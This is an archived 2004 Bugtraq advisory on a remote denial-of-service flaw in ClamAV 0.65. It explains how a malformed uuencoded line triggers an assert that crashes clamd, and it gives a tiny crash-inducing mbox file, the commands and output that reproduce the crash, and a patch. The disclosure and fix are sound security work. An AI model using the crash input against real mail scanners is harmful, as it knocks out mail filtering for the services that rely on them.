bugtraq - clamav 0.65 remote DOS exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <40279811.9050407@fillmore-labs.com>
Date: Mon, 09 Feb 2004 15:24:17 +0100
From: Oliver Eikemeier <eikemeier@...lmore-labs.com>
To: bugs@...mav.net
Cc: bugtraq@...urityfocus.com
Subject: clamav 0.65 remote DOS exploit

>Description:

It is trivial to crash clamd using a malformed uuencoded message, resulting in a
denial of service for all programs (e.g. SMTP daemons) relying on clamd running.
The message must only contain one uuencoded line with an illegal line lenght, i.e.
starting with a small letter.

libclamav calculates the line lenght of an uuencoded line by taking the ASCII value
of the first character minus 64 and does an `assert' if the length is not in the
allowed range, effectively terminating the calling program.

>How-To-Repeat:

Save the following file to ~/clamtest.mbox, removing the leading 'X':

XFrom -
X
Xbegin 644 byebye
Xbyebye
Xend

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped)

or

# clamdscan -v ~/clamtest.mbox; ps ax | grep clam

>Fix:

Apply the following patch to libclamav/message.c:

--- libclamav/message.c.orig	Wed Nov  5 11:59:53 2003
+++ libclamav/message.c	Mon Feb  9 15:17:13 2004
@@ -878,13 +878,16 @@
 			if(strcasecmp(line, "end") == 0)
 				break;

-			assert(strlen(line) <= 62);
+			if(strlen(line) > 62)
+				break;
+
 			if((line[0] & 0x3F) == ' ')
 				break;

 			len = *line++ - ' ';

-			assert((len >= 0) && (len <= 63));
+			if(len < 0 || len > 63)
+				break;

 			ptr = decode(line, ptr, uudecode, (len & 3) == 0);
 			break;

>References:

FreeBSD PR 62586:
  <http://www.freebsd.org/cgi/query-pr.cgi?pr=62586>